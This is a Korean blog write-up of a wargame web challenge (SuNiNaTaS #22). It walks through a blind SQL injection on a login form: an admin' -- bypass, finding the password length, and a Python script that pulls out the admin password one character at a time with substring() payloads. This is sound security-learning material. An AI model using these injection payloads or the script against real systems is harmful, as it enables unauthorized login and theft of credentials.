본문 바로가기
Wargame Write-Up/SuNiNaTaS

[SuNiNaTaS] (Web) 22번문제

by snwo 2020. 3. 5.

Blind Sql Injection 문제다. Blind Sql Injection은 sql쿼리를 조작해 넣었을때 나오는

특정신호를 파악해 pw를 얻는거라 볼수있다.

 

힌트를 보면 id : guest, pw : guest 인 계정이있고, admin의 비밀번호를 찾아보라한다.

 

guest로 로그인이 된다.

그렇다면 sql쿼리는 [ select * where id='$id' and pw='$pw' ]라는걸 추측해 볼 수 있다.

 

admin' -- 를 넣는다면,  [ select * where id='admin' -- ] 로 -- 뒤는 주석처리가되어

결국 sql문은 참이되어 OK admin이 출력된다.

그렇다면 admin' and (추가조건)-- 을 걸어서 패스워드의 길이를 알아보자

 

 

 

10보다 크지않고, 9보다 크다면 비밀번호는 10글자인걸 알 수 있다.

이제 패스워드 문자 하나씩 불러와 패스워드값으로 사용 가능한 33번부터 126까지 대입해보자.

 

일단 주석이 --으로 처리되는것 보니까 MSSQL 인것같다. (MYSQL 은 #이 한줄주석이다)

MSSQL 문자열관련함수를 찾아보니 substring함수가 있다.

 

    [substring]

 

substring( value , start_index , length ) -> 길이만큼 시작인덱스에서 값을 반환한다.

 

  • value : pw
  • start_index : 1~10 (MSSQL 에서 문자열은 index 1부터 시작한다 )
  • length : 1

이런식으로 하나씩 값을 가져와 33번부터 126까지 대입해보면된다.

내가하면 시간이 너무오래걸리니, python코드로 짜보겠다.

 

    [python]

 

sql문이 참이면 OK admin 이 나오고 거짓이면 false 가 나온다는점을 이용해 소스를 짜주면 된다.

체크문은 OK admin 일때의 html소스를 긁어왔다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
params={"id":"","pw":1}
 
print("[+]password : ",end="")
 
for i in range(1,11):
    for j in range(33,126):
        params['id']="admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--"
        r=requests.get(url,params=params)
        if r.text.find("<font size=4 color=blue>admin")!=-1:
            print(chr(j),end="")
 
 

실행하고 잠시기다리면 Auth_key가 나온다.